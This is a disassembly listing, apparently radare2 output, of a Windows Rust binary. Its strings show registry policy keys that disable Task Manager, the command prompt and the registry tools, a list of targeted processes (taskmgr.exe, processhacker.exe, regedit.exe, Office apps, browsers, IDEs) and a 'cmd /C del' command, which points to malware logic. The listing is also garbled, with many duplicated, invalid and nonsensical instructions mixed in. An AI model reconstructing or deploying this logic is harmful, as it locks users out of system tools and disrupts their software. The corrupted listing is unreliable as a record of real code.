call fcn.1400aa430
movsd dword [rdi], dword [rsi]
sub al, 7
add byte [rdi], cl
invalid
movsd dword [rdi], dword [rsi]
sub al, 7
add byte [rdi], cl
or ecx, dword [rbx + rcx*4 - 0x43]
js 0x140037793
mov r15, qword [rbp + 0x178]
add byte [rax], al
add byte [rax - 0x75], cl
lea ebx, [rax + 4]
add byte [rax], al
mov rcx, qword [rbp + 0x458]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rbp + 0x170], r15
lea rax, [0x1400e95a0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14007a090
lea r8, [rbp + 0x170]
mov edx, 0x2b
call fcn.1400aa430
jmp case.0x140032218.2
mov rax, qword [rbp + 0x178]
test dword [rax + 1], edi
add byte [rax], al
mov qword [rbp + 0xa0], rax
lea rax, [0x1400e9570]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14007a090
or dword [rax], 0xb
add byte [rbp + rcx*4 - 0x7b], cl
movabs al, byte [0x2bba000000]
or dword [rax], 0xb
add byte [rbp + rcx*4 - 0x7b], cl
movabs al, byte [0x2bba000000]
call fcn.1400aa430
jmp case.0x140032218.2
add bl, ch
cmp dword [rax - 0x75], ecx
test dword [rax + 1], edi
add byte [rax], al
mov rax, qword [rbp + 0x178]
mov qword [rbp + 0xa0], rax
lea rax, [0x1400e9588]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14007a090
or byte [rbx], cl
add byte [rbp + rcx*4 - 0x7b], cl
movabs al, byte [0x2bba000000]
or byte [rbx], cl
add byte [rbp + rcx*4 - 0x7b], cl
movabs al, byte [0x2bba000000]
call fcn.1400aa430
ud2
lea r8, [0x1400b1108]
mov rdx, r14
call fcn.1400a9fa0
ud2
lock add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0x7af15
jmp case.0x140026d73.226
mov ecx, 1
mov rdx, qword [rbp + 0x448]
call fcn.1400a9e00
ud2
lea r8, [0x1400b1120]
mov rdx, r14
call fcn.1400a9f20
ud2
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp al, 0x8b
invalid
invalid
cmp al, 0x8b
invalid
mov byte [rsi + 0x40], 0
cmp qword [rsi + 8], 0
je 0x1400378e9
mov r8, qword [rsi]
mov eax, dword [rsi]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [r15 + 8], r13
mov qword [r15 + 0x10], r12
mov al, 1
xor ecx, ecx
jmp 0x140037b91
cmp rax, rcx
je 0x1400379dd
lea rcx, [rax + 0x10]
mov qword [rsi + 0x50], rcx
movdqu xmm0, xmmword [rax]
lea rax, [rsi + 0x60]
lea rcx, [0x1400bb8b9]
mov qword [rsi + 0x60], rcx
mov qword [rsi + 0x68], 2
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x844ea
or byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x844ea
or byte [rax], al
or byte [rax], al
mov qword [rsi + 0x70], rcx
mov qword [rsi + 0x78], 3
movdqu xmmword [rsi + 0x80], xmm0
lea rcx, str.cmd_Cdel
mov qword [rsi + 0x90], rcx
mov qword [rsi + 0x98], 3
mov qword [rsi + 0xa0], rax
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0xa8], 3
mov byte [rsi + 0xb0], 0
lea rdx, [rsi + 0x90]
lea rcx, [rbp + 0x2f0]
lea ecx, [rbp + 0x2f0]
lea ecx, [rbp + 0x2f0]
call fcn.14002e900
cmp qword [rbp + 0x2f0], 0
add byte [rax], al
add byte [rdi], cl
test edx, esi
add dword [rax], eax
invalid
add byte [rax], al
add byte [rdi], cl
test edx, esi
add dword [rax], eax
add byte [rbx + rcx*4 - 0x53], cl
clc
add al, byte [rax]
add byte [rbp - 0x7b], cl
in eax, dx
mov r13, qword [rbp + 0x2f8]
test r13, r13
jne 0x1400379ad
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
jmp 0x1400378fa
mov r12, qword [rbp + 0x300]
mov byte [rbx], 1
mov rcx, rbx
call fcn.14000c090
cmp byte [rsi + 0x40], 0
je 0x1400378cc
test byte [rbx], al
invalid
invalid
invalid
test byte [rbx], al
invalid
cmp qword [rsi + 0x28], 0
je 0x1400378cc
mov r8, qword [rsi + 0x20]
jmp 0x1400378bd
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgrdelSOFTWAREPoliciesMicrosoftWindowsSystemDisableCMDDisableRegistryToolstaskmgr.exeprocesshacker.exeregedit.execode.exeexcel.exepowerpnt.exewinword.exemsaccess.exemspub.exevirtualboxvm.exevirtualbox.exechrome.execs2.exesteam.exepostgres.exemysqlworkbench.exeoutlook.exewindowsterminal.exesublime_text.exemicrosoft.photos.exephotosapp.exe
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 0x39
lea rax, [0x1400bbe09]
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0xe
add byte [rax], al
add bh, al
xchg al, dh
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add dh, al
xchg al, bh
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add bh, al
xchg al, dh
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add dh, al
xchg al, bh
add eax, dword [rax]
add byte [rax], al
lea rdx, [rsi + 0x50]
lea rcx, [rbp + 0x2f0]
mov r8, r14
call fcn.14002e430
cmp qword [rbp + 0x2f0], 0
je 0x140037a38
mov al, 9
jmp 0x140037b88
mov r13, qword [rbp + 0x2f8]
mov r12, qword [rbp + 0x300]
cmp byte [rsi + 0x3f8], 3
jne 0x140037a87
lea rcx, [rsi + 0x178]
call fcn.14000bbb0
cmp qword [rsi + 0x168], 0
je 0x140037a7b
mov r8, qword [rsi + 0x160]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov dword [rdi], eax
invalid
lea ecx, [rcx - 0x72b7fff9]
mov ss, word [rax - 0x18000000]
mov dword [rdx], esi
std
dec dword [rbp - 0x7b]
in eax, dx
lea rcx, [rsi + 0x90]
call fcn.14000ad10
test r13, r13
jne 0x1400379b4
lea rax, [0x1400bbe1a]
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 0x2a
lea rax, [0x1400bbe44]
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0xa
add byte [rax], al
add bh, al
xchg al, dh
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add dh, al
xchg al, bh
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add bh, al
xchg al, dh
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add dh, al
xchg al, bh
add eax, dword [rax]
add byte [rax], al
lea rdx, [rsi + 0x50]
lea rcx, [rbp + 0x2f0]
mov r8, r14
call fcn.14002e430
cmp qword [rbp + 0x2f0], 0
je 0x140037aeb
mov al, 0xa
jmp 0x140037b88
mov r13, qword [rbp + 0x2f8]
mov r12, qword [rbp + 0x300]
cmp byte [rsi + 0x3f8], 3
jne 0x140037b3a
lea rcx, [rsi + 0x178]
call fcn.14000bbb0
cmp qword [rsi + 0x168], 0
je 0x140037b2e
mov r8, qword [rsi + 0x160]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x90]
call fcn.14000ad10
test r13, r13
jne 0x1400379b4
mov qword [rbp + 0x450], rbx
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgrdelSOFTWAREPoliciesMicrosoftWindowsSystemDisableCMDDisableRegistryToolstaskmgr.exeprocesshacker.exeregedit.execode.exeexcel.exepowerpnt.exewinword.exemsaccess.exemspub.exevirtualboxvm.exevirtualbox.exechrome.execs2.exesteam.exepostgres.exemysqlworkbench.exeoutlook.exewindowsterminal.exesublime_text.exemicrosoft.photos.exephotosapp.exe
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 0x39
lea rax, [0x1400bbe4e]
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0x14
mov dword [rsi + 0x3f0], 2
mov byte [rsi + 0x3f8], 0
jmp 0x1400323db
mov al, 8
mov byte [rbx], al
mov al, 3
mov ecx, 1
mov qword [r15], rcx
mov byte [rsi + 0x41], al
movaps xmm6, xmmword [rbp + 0x480]
movaps xmm7, xmmword [rbp + 0x490]
movaps xmm8, xmmword [rbp + 0x4a0]
movaps xmm9, xmmword [rbp + 0x4b0]
movaps xmm10, xmmword [rbp + 0x4c0]
add rsp, 0x558
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rax
inc byte [rdx - 0x80]
jl 0x140040d91
dec byte [0x10a481ce4]
jmp 0x140040dac
je 0x140040dac
mov r9, r8
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rdx + 0x10], r8
mov qword [rdx + 0x18], 0
jmp 0x140040e0a
rol dword [rcx - 0x80], 1
sti
or dh, byte [rbp + rcx + 0x45]
movzx ebx, bl
mov r10, r8
cmp r11d, 0xd
jne 0x140040df4
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rdx + 0x10], r8
mov qword [rdx + 0x18], 0
test r9, r9
jne 0x140040e0a
invalid
xor r8d, r8d
jmp case.0x14001ba11.322
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
pop rbp
invalid
mov qword [rdx + 0x10], r8
mov qword [rdx + 0x18], 0
mov r9, r10
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
mov r8d, 1
mov eax, 1
add byte [rcx + rcx*4 + 1], cl
mov qword [rcx], r8
pop rdi
pop rsi
ret
int3
mov r8d, edx
shr r8d, 4
invalid
invalid
call 0x1118d4f42
mov r9d, edx
and r9d, 7
lea eax, [r9 + 7]
cmp r9d, 3
cmp ecx, 3
cmp ecx, 3
cmovae eax, r9d
add eax, r8d
invalid
cmp eax, 7
jae 0x140040eae
pop rax
rol byte [rbx + 0x587307f8], 0xff
leave
pop rax
dec ecx
movsxd rdx, ecx
imul rax, rdx, 0x51eb851f
mov r8, rax
shr r8, 0x3f
invalid
sar rax, 0x27
clc
invalid
add eax, r8d
imul eax, eax, 0x190
rcl byte [rax + 0x29000001], 0xc2
call 0x138c556ab
invalid
clc
invalid
rcl byte [rax + 0x29000001], 0xc2
mov eax, edx
sar eax, 0x1f
and eax, 0x190
add eax, edx
ror byte [rax - 0x68], 1
ror byte [rax - 0x68], 1
cmp eax, 0x190
nop
add dword [rax], eax
add byte [rdi], cl
cmp dword [rdi + 0x4c000000], 0xffffff8d
add eax, 0x96800
add byte [rax], al
jae 0x140040f50
lea r8, [0x1400d7698]
movzx r8d, byte [rax + r8]
xor eax, eax
mov r9d, 0x406
add byte [rax], al
add byte [rax], al
add byte [rbp + 0xf], al
bt r9d, r8d
movabs dword [0xc08954eb34d083c1], eax
adc eax, 0x34
jmp 0x140040f02
mov eax, eax
imul r8, rax, 0x24924925
shr r8, 0x20
and edx, 0xf
xor eax, eax
mov r9d, 0x406
add al, 0
add byte [rcx + 0xf], al
movabs dword [0x3941d23134d083d1], eax
invalid
add byte [rcx + 0xf], al
movabs dword [0x3941d23134d083d1], eax
ror byte [rdi], 0x97
seta dl
invalid
invalid
seta dl
mov eax, 1
add byte [rax], al
add byte [rcx + 0xf], al
rol byte [rcx], 0xd1
add byte [rax], al
add byte [rcx + 0xf], al
rol byte [rcx], 0xd1
movsxd rdx, ecx
imul r8, rdx, 0x51eb851f
imul eax, edx, 0x51eb851f
push rcx
push rcx
mov r9, r8
shr r9, 0x3f
shr ecx, 0x3f
shr ecx, 0x3f
sar r8, 0x27
add r8d, r9d
clc
invalid
imul r8d, r8d, 0x190
sub edx, r8d
mov r8d, edx
sar r8d, 0x1f
and r8d, 0x190
and eax, 0x190
and eax, 0x190
add byte [rcx + 1], al
ror byte [rbp + 0x63], 1
invalid
enter 0xffffffffffff8141, 0xfffffffffffffff9
add r8d, edx
movsxd r9, r8d
invalid
enter 0xffffffffffff8141, 0xfffffffffffffff9
nop
add dword [rax], eax
add byte [rbx + 0x1b], dh
invalid
nop
add dword [rax], eax
add byte [rbx + 0x1b], dh
lea rdx, [0x1400d7698]
jb 0x140040f8b
or dword [rax], eax
movzx edx, byte [r9 + rdx]
shl ecx, 0xa
shl eax, 4
add al, 9
invalid
or eax, edx
add al, 9
enter 0xffffffffffffd009, 0x48
add rsp, 0x28
add rsp, 0x28
ret
lea r8, [0x1400d7898]
mov edx, 0x190
add dword [rax], eax
add byte [rcx + rcx*4 - 0x37], cl
nop
add dword [rax], eax
add byte [rcx + rcx*4 - 0x37], cl
call fcn.1400a9fa0
ud2
invalid
lea r8, [0x1400d7898]
lea eax, [0x1400d7898]
mov edx, 0x190
mov rcx, rax
invalid
shr eax, 0x3c
nop
invalid
call fcn.1400a9fa0
add byte [rdi], cl
or ecx, esp
int3
ud2
int3
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
lea rdx, str.SystemTimeError
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
adc eax, 0x9601b
or dword [rax], eax
mov r8d, 0xf
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
cmp byte [rax - 0x39], cl
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add dh, al
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
add al, 0x60
mov byte [rsp + 0x39], 0
lea r8, [0x1400d6fb8]
or dword [rax], eax
or dword [rax], eax
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.140043f20
pop rbp
invalid
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
test eax, eax
test eax, eax
je 0x140041028
mov bl, 1
test cl, cl
jne 0x14004102a
add dword [rcx + rcx*8 - 0x74b7ad8b], eax
je 0x140041000
mov rsi, qword [rsp + 0x30]
cmp rax, 1
add dword [rbp + 0x29], esi
xor byte [rax - 0x7d], cl
clc
add dword [rbp + 0x29], esi
cmp byte [rsp + 0x39], 0
and al, 0x39
invalid
je 0x14004100c
and al, 0x39
add byte [rdx + riz - 0xa], dh
test byte [rsi + 0x34], 4
test byte [rsi + 0x34], 4
jne 0x14004100c
sbb al, 0x48
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e77f5]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
mov eax, 1
call qword [rax + 0x18]
test al, al
jne 0x14004102a
invalid
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8e76]
lea edx, [0x1400e8e76]
lea edx, [0x1400e8e76]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14004102a
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
invalid
pop rbx
pop rsi
ret
invalid
int3
pop rdi
add byte [rax], al
int3
int3
cmp dword [rdx], 0
je 0x1400410da
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
test r8, r8
je 0x14004114a
invalid
add byte [rcx + 0xf], al
mov dh, 1
movzx eax, byte [r9]
lea r10, [r8 + r9]
inc r10
xor r9d, r9d
xor r11d, r11d
jmp 0x1400410ac
mov esi, r9d
movzx r9d, bl
inc r11
shl esi, 7
and r9d, 0x7f
or r9d, esi
test bl, bl
jns 0x1400411ed
cmp al, 0x28
jae 0x14004124d
lea rsi, [r8 + r11]
cmp rsi, rax
jae 0x1400411e2
sbb byte [rax + 0x39], cl
invalid
movzx ebx, byte [r10 + r11]
cmp r11, 4
jb 0x140041090
cmp bl, 0xf
jbe 0x140041090
mov byte [rcx + 4], 1
add al, 1
jmp 0x1400411f6
mov r8, qword [rdx + 0x10]
movzx eax, byte [r8]
cmp rax, 0x28
jae 0x14004124d
test rax, rax
je 0x140041229
invalid
add byte [rcx + 0xf], al
mov dh, 0x40
add dword [rcx + rbp*2 - 0x40], eax
int 0
add byte [rax], al
movzx eax, byte [r8 + 1]
imul r8d, eax, 0xcd
shr r8d, 0xd
cmp ax, 0x78
clc
js 0x140041119
invalid
invalid
add byte [rax], al
invalid
clc
js 0x140041119
cmp dword [rdx + 0x45000000], 0xffffff89
rol dword [rcx - 0x3f], 0xe1
mov r9d, r8d
shl r9d, 3
add eax, dword [rdi - 0x73]
or al, 0x89
add eax, dword [rdi - 0x73]
or al, 0x89
lea ecx, [rcx + rcx*4]
mov dword [rax + rbp - 0x38], eax
sub al, r9b
movzx r8d, r8b
shl r8d, 3
loopne 0x140041128
loopne 0x140041128
lea r8d, [r8 + r8*4]
add r8b, al
add byte [rcx], 0xc0
mov qword [rdx], 1
mov qword [rdx + 8], 0
movzx eax, r8b
imul eax, eax, 0xcd
add cl, al
invalid
invalid
jmp 0x1400411bb
add cl, al
call 0x18175fc58
movzx eax, byte [rcx]
movzx eax, byte [r9]
cmp rax, 0x28
jae 0x14004124d
test rax, rax
je 0x14004123b
movzx eax, byte [r9 + 1]
imul r8d, eax, 0xcd
add dword [rcx + rbp*2 - 0x40], eax
int 0
add byte [rax], al
shr r8d, 0xd
cmp ax, 0x78
clc
js 0x1400411e9
push rdx
clc
js 0x1400411e9
push rdx
mov r9d, r8d
shl r9d, 3
lea r9d, [r9 + r9*4]
sub al, r9b
sub al, cl
sub al, cl
movzx r8d, r8b
shl r8d, 3
lea r8d, [r8 + r8*4]
add r8b, al
add al, al
mov qword [rdx], 1
mov qword [rdx + 8], 1
movzx eax, r8b
movzx eax, al
movzx eax, al
imul edx, eax, 0xcd
shr edx, 0xa
invalid
or al, byte [rbx + 0x148df8e2]
lea edx, [rdx + rdx*4]
xchg edx, eax
invalid
xchg edx, eax
sub al, dl
movzx eax, al
mov dword [rcx + 4], 1
mov dword [rcx + 8], eax
xor eax, eax
jmp 0x1400411fb
movzx eax, r8b
shl rax, 0x10
loopne 0x1400411e1
loopne 0x1400411e1
mov word [rcx + 4], 0
mov dword [rcx + 6], eax
mov word [rcx + 0xa], 0
jmp 0x1400411f6
adc al, 0x4d
test ebx, ebx
test r11, r11
je 0x14004121e
mov byte [rcx + 4], 2
add al, 2
jmp 0x1400411f6
add r8, r11
jae 0x140041204
mov byte [rcx + 4], 5
mov eax, 1
mov dword [rcx], eax
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rsi
ret
mov qword [rdx], 1
mov qword [rdx + 8], r8
mov dword [rcx + 4], 1
add al, 1
add byte [rax], al
add byte [rcx + rcx*4 + 0x49], al
or byte [rcx], dh
shr bl, 0xdd
add al, 1
add byte [rax], al
add byte [rcx + rcx*4 + 0x49], al
or byte [rcx], dh
shr bl, 0xdd
mov dword [rcx + 4], 0
xor eax, eax
jmp 0x1400411fb
add al, 0
add byte [rax], al
add byte [rcx], dh
shr bl, 0xd2
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.5_src_arcs.rs
xor ecx, ecx
xor edx, edx
call fcn.1400a9fa0
ud2
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.5_src_arcs.rs
imul ecx, dword [rcx], 0x31c93100
shr al, cl
push rbp
lea eax, [rsi]
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
lea eax, str.8_r_
mov edx, 0x27
or dword [rax], eax
xor ecx, ecx
xor edx, edx
call fcn.1400a9fa0
ud2
lea r8, str.8_r_
lea eax, str.8_r_
mov edx, 0x27
mov rcx, rax
call fcn.1400aa020
lea eax, [rsi]
invalid
lea eax, [rsi]
add byte [rdi], cl
ud2
int3
int3
ud2
int3
in al, 0xa
add byte [rax + 0x63], cl
add al, 0x82
add rax, rdx
jmp rax
mov dword [rsp + 0x38], ecx
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.ArcInvalidarcArcTooBigBase128DigitExpectedactualLengthNotEnoughArcsTrailingDotassertion_failed:_edelta___0librarycore_src_numdiy_float.rs
push 9
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
push 9
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
sbb byte [rax - 0x77], cl
je 0x1400412d4
sub byte [rax - 0x39cfdbbc], cl
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0x5760f
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
lea rax, [0x1400988d0]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400d7cfa]
add byte [rax - 0x73], cl
and al, 0x28
add byte [rax - 0x73], cl
and al, 0x28
lea r9, [rsp + 0x38]
and al, 0x38
mov r8d, 3
call fcn.140043690
cmp byte [rsp + 0x31], 0
movzx eax, byte [rsp + 0x30]
jne 0x14004139f
invalid
lodsd eax, dword [rsi]
add byte [rax], al
invalid
test dword [rbp - 0x17000000], ebp
ja 0x1400412f6
jmp 0x14004146e
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7cfd]
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x969f3
mov r8d, 9
add rsp, 0x40
pop rsi
jmp rax
lea edx, [0x1400d7d0d]
mov r8d, 0xd
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
lea rax, [0x140008c80]
jns 0x140041369
invalid
add eax, 0xfffc7912
jns 0x140041369
dec dword [rax - 0x77]
and al, 0x20
mov qword [rsp + 0x20], rax
lea rdx, [0x1400d7d1a]
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x38]
mov r8d, 6
invalid
add byte [rax], al
add al, ch
add dword [rbx], esp
and eax, dword [rax]
add byte [rax + 0x31247c], al
invalid
and eax, dword [rax]
add byte [rax + 0x31247c], al
movzx eax, byte [rsp + 0x30]
je 0x14004146e
test al, al
mov al, 1
jne 0x14004146e
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x28]
sub dh, dh
xor al, 4
sub dh, dh
xor al, 4
jne 0x140041456
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e3857]
mov r8d, 2
mov eax, 2
mov eax, 2
jmp 0x14004146b
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.EmptyInvalidDigitPosOverflowNegOverflowZeroParseIntError0
mov r8d, 5
add byte [rax], al
add byte [rax], al
add rsp, 0x40
pop rsi
jmp rax
add byte [rax - 0x7d], cl
invalid
jmp [rax + 9]
adc eax, 0x968eb
mov r8d, 0xb
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e9693]
lea edx, [0x1400e9693]
lea edx, [0x1400e9693]
mov r8d, 1
call qword [rax + 0x18]
test al, al
setne al
add rsp, 0x40
pop rsi
ret
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
movaps xmmword [rsp + 0x90], xmm6
mov rsi, r8
mov rdi, rdx
mov edi, edx
mov edi, edx
mov rbx, rcx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
add byte [rax], al
and al, 0x40
add byte [rax], al
add byte [rax], al
xor r12d, r12d
xor esp, esp
lea r14, [rsp + 0x70]
lea r15, [rsp + 0x40]
lea edi, [rsp + 0x40]
lea edi, [rsp + 0x40]
nop
mov rcx, r14
mov rdx, r15
call fcn.140041060
xchg ebp, eax
sti
invalid
inc dword [rbx + 0x70247c]
add byte [rdi], cl
test dword [rsi], edi
add dword [rax], eax
invalid
xchg ebp, eax
sti
invalid
add byte [rdi], cl
test dword [rsi], edi
add dword [rax], eax
add byte [rbx + 0x74247c], al
jl 0x1400414fd
je 0x1400414db
cmp dword [rsp + 0x74], 0
jl 0x1400414fd
je 0x1400414db
je 0x1400414e2
inc r12
jmp 0x1400414c0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x70], 0
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], 0
add byte [rax], al
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rbx, [rsp + 0x40]
add byte [rax], al
add byte [rax], al
lea rbx, [rsp + 0x40]
lea r13, [rsp + 0x30]
xorps xmm6, xmm6
nop dword [rax]
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
lea rdx, [rsp + 0x70]
call fcn.140041060
cmp dword [rsp + 0x40], 0
jne 0x14004161b
invalid
mov ebp, dword [rsp + 0x44]
test ebp, ebp
test ebp, r13d
je 0x1400415f6
mov eax, dword [rsp + 0x48]
mov r14, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
invalid
mov r14, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rcx - 0x73], cl
add qword [rax - 0x77], r9
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rcx + 0x482c2444], cl
sub al, 0x48
lea rcx, [r14 + 1]
mov qword [rsp + 0x88], rcx
mov dword [rsp + 0x2c], eax
sub al, 0x48
lea eax, [rsp + 0x2c]
sub al, 0x48
lea eax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x140043bc0]
lea eax, [0x140043bc0]
lea eax, [0x140043bc0]
mov qword [rsp + 0x38], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
or al, byte [rax]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x60], 0
invalid
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 1
and al, 0x58
add dword [rax], eax
add byte [rax], al
invalid
and al, 0x58
add dword [rax], eax
add byte [rax], al
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140042240
test al, al
jne 0x1400415f6
inc r14
cmovne r15, r14
je 0x140041510
cmp r15, r12
jae 0x140041510
invalid
invalid
invalid
invalid
and al, 0x40
mov qword [rsp + 0x48], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x58], xmm6
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140042240
test al, al
je 0x140041510
mov eax, ebp
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x74]
jmp 0x140041620
mov rax, qword [rsp + 0x44]
mov qword [rsp + 0x30], rax
lea rax, str.x_r_
mov qword [rsp + 0x20], rax
lea rcx, str.OID_malformed
lea r9, [0x1400d7b58]
lea r8, [rsp + 0x30]
mov edx, 0xd
call fcn.1400aa430
ud2
jb 0x140041760
mov r11d, 0x27
movabs r10, 0x346dc5d63886594b
nop word cs:[rax + rax]
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rsp + r11 + 0x2d], di
mov dword [rsp + r11 + 0x2d], edi
mov dword [rsp + r11 + 0x2d], edi
movzx esi, word [r8 + rsi*2]
mov word [rsp + r11 + 0x2f], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x1400416d0
cmp rdx, 0x63
jbe 0x14004174e
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
cmp edx, 0xa
jae case.0x140027b78.152
add dl, 0x30
mov byte [rsp + rax + 0x30], dl
dec rax
jmp 0x140041779
invalid
sbb dword [rax - 0x77], ecx
retf 0x8348
mov rdx, rcx
cmp rdx, 0x63
ja 0x140041724
jmp 0x14004174e
movzx ecx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], cx
add rax, 0xfffffffffffffffe
lea rcx, [rsp + rax]
or al, 4
add rcx, 0x31
mov edx, 0x27
sub rdx, rax
sub edx, eax
sub edx, eax
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov rcx, r9
mov dl, 1
xor r9d, r9d
call fcn.1400417b0
nop
add rsp, 0x58
pop rdi
pop rsi
ret
mov esp, 0xb824
